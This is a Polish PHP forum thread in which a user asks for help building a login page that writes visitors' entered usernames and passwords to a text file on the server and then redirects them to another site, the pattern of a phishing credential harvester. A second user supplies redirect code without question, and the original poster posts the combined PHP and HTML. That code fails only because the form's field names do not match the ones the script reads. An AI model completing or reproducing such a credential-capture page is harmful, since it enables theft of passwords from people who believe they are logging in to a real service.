Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Formularze i php
Forum PHP.pl > Forum > PHP
MitS
Witam!

Na samym wstępie piszę że nie jestem zbyt dobry w te klocki, więc proszę wybaczyć za eventualne nieścisłości smile.gif

A więc sytuacja przedstawia się tak:
Chcę stworzyć stronkę, na której jest formularz (dwa pola na tekst: na login i hasło, oraz przycisk wyślij), gdzie jak osoba wpisze login np. "mareczek" i hasło np. "mlpnkobji" i wciśnie dany przycisk to, te dane które wpisał czyli login i hasło zapiszą się do pliku *.txt znajdującgo się na serwerze, a zamiast strony głównej wejdzie na daną stronę np. http://www.jkkkk.pl/login czy cośw tym stylu...

Kod przykładowej storny:

  1.  
  2. <meta http-equiv="Content-Language" content="pl">
  3. <meta name="GENERATOR" content="WizSite Professional">
  4. <meta name="ProgId" content="WizSite.Editor.Document">
  5. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  6. <title>New</title>
  7. </head>
  8.  
  9.  
  10.  
  11.  
  12. <form method="POST" action="--WEBBOT-SELF--">
  13. <!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
  14. <p style="margin-top: 0; margin-bottom: 0">Login:&nbsp;
  15. <input type="text" name="T1" size="21"></p>
  16. <p style="margin-top: 0; margin-bottom: 0">Hasło:&nbsp;
  17. <input type="text" name="T2" size="21"></p>
  18. <p><input type="submit" value="Zaloguj" name="B1"></p>
  19.  
  20. </form>
  21. <p>&nbsp;</p>
  22.  
  23. </body>
  24.  
  25. </html>


natomiast ten kod:

  1. <?php
  2.  
  3. $login=$_POST['login'];
  4. $haslo=$_POST['password'];
  5.  
  6. $plik=fopen('dane.txt','a+');
  7. flock($plik,1);
  8. fputs($plik,$login.' = '.$haslo.&#092;"rn\");
  9. flock($plik,3);
  10. fclose($plik);
  11.  
  12. ?>


zapisuje te dane wpisane, ale nie jestem do końca pewien, więc proszę o napisanie na forum kodu całej strony (tak abym się zorientował co gdzie ma być wpisane) smile.gif


Bardzo proszę o pomoc, bo jest to mi bardzo potrzebne.
Dzięki All ...

guitar.gif
Yarecki
  1. <?php
  2.  
  3. if( !empty( $_POST['login'] ) && !empty( $_POST['password'] ) ) {
  4. // twoj kod na końcu dodaj
  5. header( 'Location: http://stoana.na.ktora.ma.byc.przekierowany/' );
  6. }
  7. ?>


Umieść to na samym początku pliku, jeszcze przed <html>
MitS
A więc dałem tak (nie wiem czy o to chodziło):


  1. <?php
  2. if( !empty( $_POST['login'] ) && !empty( $_POST['password'] ) ) {
  3.  
  4.  
  5. $login=$_POST['login'];
  6. $haslo=$_POST['password'];
  7.  
  8. $plik=fopen('dane.txt','a+');
  9. flock($plik,1);
  10. fputs($plik,$login.' = '.$haslo."rn");
  11. flock($plik,3);
  12. fclose($plik);
  13.  
  14.  
  15. header( 'Location: [url=http://www.sokno.er.pl/']http://www.sokno.er.pl/'[/url] );
  16. }
  17. ?>
  18.  
  19.  
  20.  
  21. <meta http-equiv="Content-Language" content="pl">
  22. <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  23. <meta name="ProgId" content="FrontPage.Editor.Document">
  24. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  25. <title>New</title>
  26. </head>
  27.  
  28.  
  29.  
  30.  
  31. <form method="POST" action="--WEBBOT-SELF--">
  32. <!--webbot bot="SaveResults" U-File="C:\Documents and Settings\Krajewski Piotr\Moje dokumenty\_private\form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
  33. <p style="margin-top: 0; margin-bottom: 0">Login:&nbsp;
  34. <input type="text" name="T1" size="21"></p>
  35. <p style="margin-top: 0; margin-bottom: 0">Hasło:&nbsp;
  36. <input type="text" name="T2" size="21"></p>
  37. <p><input type="submit" value="Zaloguj" name="B1"></p>
  38.  
  39. </form>
  40. <p>&nbsp;</p>
  41.  
  42. </body>
  43.  
  44. </html>


wszystko pięknie działa oprócz zapisywania loginu i hasła do pliku po naciśnięciu "Loguj". Może ma ktoś pomysł jak to zrobić tak by działało questionmark.gif?
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.